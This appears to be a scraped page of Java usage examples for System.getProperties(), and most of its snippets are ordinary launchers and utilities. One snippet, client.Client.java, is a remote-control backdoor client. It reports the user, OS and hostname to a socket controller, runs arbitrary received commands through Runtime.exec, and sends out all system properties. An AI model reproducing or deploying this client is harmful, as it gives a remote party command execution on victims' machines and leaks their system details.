Example usage for java.lang System getProperties

List of usage examples for java.lang System getProperties

Introduction

In this page you can find the example usage for java.lang System getProperties.

Prototype

public static Properties getProperties() 

Source Link

Document

Determines the current system properties.

Usage

From source file:SysPropDemo.java

public static void main(String[] argv) throws IOException {
    if (argv.length == 0)
        System.getProperties().store(System.out, "System Properties:");
    else//from   w w  w .  ja v a  2 s  .  c o m
        for (int i = 0; i < argv.length; i++) {
            String s = argv[i];
            System.out.println(s + " = " + System.getProperties().getProperty(s));
        }
}

From source file:monitor.java

public static void main(String argv[]) {
    if (argv.length != 5) {
        System.out.println("Usage: monitor <host> <user> <password> <mbox> <freq>");
        System.exit(1);/*from   ww  w . ja  v  a  2 s .  c om*/
    }
    System.out.println("\nTesting monitor\n");

    try {
        Properties props = System.getProperties();

        // Get a Session object
        Session session = Session.getInstance(props, null);
        // session.setDebug(true);

        // Get a Store object
        Store store = session.getStore("imap");

        // Connect
        store.connect(argv[0], argv[1], argv[2]);

        // Open a Folder
        Folder folder = store.getFolder(argv[3]);
        if (folder == null || !folder.exists()) {
            System.out.println("Invalid folder");
            System.exit(1);
        }

        folder.open(Folder.READ_WRITE);

        // Add messageCountListener to listen for new messages
        folder.addMessageCountListener(new MessageCountAdapter() {
            public void messagesAdded(MessageCountEvent ev) {
                Message[] msgs = ev.getMessages();
                System.out.println("Got " + msgs.length + " new messages");

                // Just dump out the new messages
                for (int i = 0; i < msgs.length; i++) {
                    try {
                        System.out.println("-----");
                        System.out.println("Message " + msgs[i].getMessageNumber() + ":");
                        msgs[i].writeTo(System.out);
                    } catch (IOException ioex) {
                        ioex.printStackTrace();
                    } catch (MessagingException mex) {
                        mex.printStackTrace();
                    }
                }
            }
        });

        // Check mail once in "freq" MILLIseconds
        int freq = Integer.parseInt(argv[4]);
        boolean supportsIdle = false;
        try {
            if (folder instanceof IMAPFolder) {
                IMAPFolder f = (IMAPFolder) folder;
                f.idle();
                supportsIdle = true;
            }
        } catch (FolderClosedException fex) {
            throw fex;
        } catch (MessagingException mex) {
            supportsIdle = false;
        }
        for (;;) {
            if (supportsIdle && folder instanceof IMAPFolder) {
                IMAPFolder f = (IMAPFolder) folder;
                f.idle();
                System.out.println("IDLE done");
            } else {
                Thread.sleep(freq); // sleep for freq milliseconds

                // This is to force the IMAP server to send us
                // EXISTS notifications. 
                folder.getMessageCount();
            }
        }

    } catch (Exception ex) {
        ex.printStackTrace();
    }
}

From source file:com.cyclopsgroup.waterview.jelly.JellyRunner.java

/**
 * Main entry to run a script/*from  w  ww  .  j  a v  a2s .  co  m*/
 * 
 * @param args Script paths
 * @throws Exception Throw it out
 */
public static final void main(String[] args) throws Exception {
    List scripts = new ArrayList();
    for (int i = 0; i < args.length; i++) {
        String path = args[i];
        File file = new File(path);
        if (file.isFile()) {
            scripts.add(file.toURL());
        } else {
            Enumeration enu = JellyRunner.class.getClassLoader().getResources(path);
            CollectionUtils.addAll(scripts, enu);
        }
    }
    if (scripts.isEmpty()) {
        System.out.println("No script to run, return!");
        return;
    }

    String basedir = new File("").getAbsolutePath();
    Properties initProperties = new Properties(System.getProperties());
    initProperties.setProperty("basedir", basedir);
    initProperties.setProperty("plexus.home", basedir);

    WaterviewPlexusContainer container = new WaterviewPlexusContainer();
    for (Iterator j = initProperties.keySet().iterator(); j.hasNext();) {
        String initPropertyName = (String) j.next();
        container.addContextValue(initPropertyName, initProperties.get(initPropertyName));
    }

    container.addContextValue(Waterview.INIT_PROPERTIES, initProperties);
    container.initialize();
    container.start();

    JellyEngine je = (JellyEngine) container.lookup(JellyEngine.ROLE);
    JellyContext jc = new JellyContext(je.getGlobalContext());

    for (Iterator i = scripts.iterator(); i.hasNext();) {
        URL script = (URL) i.next();
        System.out.print("Running script " + script);
        jc.runScript(script, XMLOutput.createDummyXMLOutput());
        System.out.println("... Done!");
    }
    container.dispose();
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*from w  w  w .  ja  va  2 s  .  c  o m*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:com.aerospike.client.rest.AerospikeRESTfulService.java

public static void main(String[] args) throws ParseException {

    Options options = new Options();
    options.addOption("h", "host", true, "Server hostname (default: localhost)");
    options.addOption("p", "port", true, "Server port (default: 3000)");

    // parse the command line args
    CommandLineParser parser = new PosixParser();
    CommandLine cl = parser.parse(options, args, false);

    // set properties
    Properties as = System.getProperties();
    String host = cl.getOptionValue("h", "localhost");
    as.put("seedHost", host);
    String portString = cl.getOptionValue("p", "3000");
    as.put("port", portString);

    // start app//from w w  w .j a  v a2s  . c om
    SpringApplication.run(AerospikeRESTfulService.class, args);

}

From source file:com.cyclopsgroup.waterview.jelly.JellyScriptsRunner.java

/**
 * Main entry to run a script// www  . ja v  a2s .c  o m
 *
 * @param args Script paths
 * @throws Exception Throw it out
 */
public static final void main(String[] args) throws Exception {
    List scripts = new ArrayList();
    for (int i = 0; i < args.length; i++) {
        String path = args[i];
        File file = new File(path);
        if (file.isFile()) {
            scripts.add(file.toURL());
        } else {
            Enumeration enu = JellyScriptsRunner.class.getClassLoader().getResources(path);
            CollectionUtils.addAll(scripts, enu);
        }
    }
    if (scripts.isEmpty()) {
        System.out.println("No script to run, return!");
        return;
    }

    String basedir = new File("").getAbsolutePath();
    Properties initProperties = new Properties(System.getProperties());
    initProperties.setProperty("basedir", basedir);
    initProperties.setProperty("plexus.home", basedir);

    WaterviewPlexusContainer container = new WaterviewPlexusContainer();
    for (Iterator j = initProperties.keySet().iterator(); j.hasNext();) {
        String initPropertyName = (String) j.next();
        container.addContextValue(initPropertyName, initProperties.get(initPropertyName));
    }

    container.addContextValue(Waterview.INIT_PROPERTIES, initProperties);
    container.initialize();
    container.start();

    JellyEngine je = (JellyEngine) container.lookup(JellyEngine.ROLE);
    JellyContext jc = new JellyContext(je.getGlobalContext());
    XMLOutput output = XMLOutput.createXMLOutput(System.out);
    for (Iterator i = scripts.iterator(); i.hasNext();) {
        URL script = (URL) i.next();
        System.out.print("Running script " + script);
        ExtendedProperties ep = new ExtendedProperties();
        ep.putAll(initProperties);
        ep.load(script.openStream());
        for (Iterator j = ep.getKeys("script"); j.hasNext();) {
            String name = (String) j.next();
            if (name.endsWith(".file")) {
                File file = new File(ep.getString(name));
                if (file.exists()) {
                    System.out.println("Runner jelly file " + file);
                    jc.runScript(file, output);
                }
            } else if (name.endsWith(".resource")) {
                Enumeration k = JellyScriptsRunner.class.getClassLoader().getResources(ep.getString(name));
                while (j != null && k.hasMoreElements()) {
                    URL s = (URL) k.nextElement();
                    System.out.println("Running jelly script " + s);
                    jc.runScript(s, output);
                }
            }
        }
        //jc.runScript( script, XMLOutput.createDummyXMLOutput() );
        System.out.println("... Done!");
    }
    container.dispose();
}

From source file:de.ingrid.interfaces.csw.admin.JettyStarter.java

public static void main(String[] args) throws Exception {
    if (!System.getProperties().containsKey("jetty.webapp"))
        log.warn("Property 'jetty.webapp' not defined! Using default webapp directory, which is '"
                + DEFAULT_WEBAPP_DIR + "'.");

    init();//from   w ww. jav  a  2 s . c o m
}

From source file:com.jdom.mediadownloader.MediaDownloader.java

public static void main(String[] args) {
    if (args.length != 1) {
        throw new IllegalArgumentException(
                "You must pass the location to the properties file to the application!");
    }/*from   w w w.  j  a v a 2  s  .  c o m*/

    File file = new File(args[0]);

    Properties properties = new Properties();
    FileReader fileReader = null;

    try {
        fileReader = new FileReader(file);
        properties.load(fileReader);
    } catch (Exception e) {
        throw new RuntimeException(e);
    } finally {
        Closeables.closeQuietly(fileReader);
    }

    System.getProperties().putAll(properties);

    initializeContext();

    MediaDownloader mediaDownloader = ctx.getBean(MediaDownloader.class);
    mediaDownloader.processDownloads();
}

From source file:JAXPTransletOneTransformation.java

public static void main(String argv[]) throws TransformerException, TransformerConfigurationException,
        IOException, SAXException, ParserConfigurationException, FileNotFoundException {
    // Set the TransformerFactory system property to generate and use a translet.
    // Note: To make this sample more flexible, load properties from a properties file.    
    // The setting for the Xalan Transformer is "org.apache.xalan.processor.TransformerFactoryImpl"
    String key = "javax.xml.transform.TransformerFactory";
    String value = "org.apache.xalan.xsltc.trax.TransformerFactoryImpl";
    Properties props = System.getProperties();
    props.put(key, value);/*from ww  w  .  ja va  2s.  co  m*/
    System.setProperties(props);

    String xslInURI = "todo.xsl";
    String xmlInURI = "todo.xml";
    String htmlOutURI = "todo.html";
    try {
        // Instantiate the TransformerFactory, and use it along with a SteamSource
        // XSL stylesheet to create a Transformer.
        TransformerFactory tFactory = TransformerFactory.newInstance();
        Transformer transformer = tFactory.newTransformer(new StreamSource(xslInURI));
        // Perform the transformation from a StreamSource to a StreamResult;
        transformer.transform(new StreamSource(xmlInURI), new StreamResult(new FileOutputStream(htmlOutURI)));
        System.out.println("Produced todo.html");
    } catch (Exception e) {
        System.out.println(e.toString());
        e.printStackTrace();
    }
}

From source file:com.tacitknowledge.util.migration.jdbc.DistributedStandaloneMigrationLauncher.java

/**
 * Run the migrations for the given system name
 *
 * @param arguments the command line arguments, if any (none are used)
 * @throws Exception if anything goes wrong
 *///w  w  w.  j a v a 2  s.  com
public static void main(String[] arguments) throws Exception {
    String systemName = ConfigurationUtil.getRequiredParam("migration.systemname", System.getProperties(),
            arguments);

    String migrationSettings = ConfigurationUtil.getOptionalParam("migration.settings", System.getProperties(),
            arguments, 1);

    // The MigrationLauncher is responsible for handling the interaction
    // between the PatchTable and the underlying MigrationTasks; as each
    // task is executed, the patch level is incremented, etc.
    try {
        DistributedJdbcMigrationLauncherFactory factory = new DistributedJdbcMigrationLauncherFactory();
        JdbcMigrationLauncher launcher = null;

        if (migrationSettings == null) {
            log.info("Using migration.properties (default)");
            launcher = factory.createMigrationLauncher(systemName);
        } else {
            log.info("Using " + migrationSettings);
            launcher = factory.createMigrationLauncher(systemName, migrationSettings);
        }
        launcher.doMigrations();

    } catch (Exception e) {
        log.error(e);
        throw e;
    }
}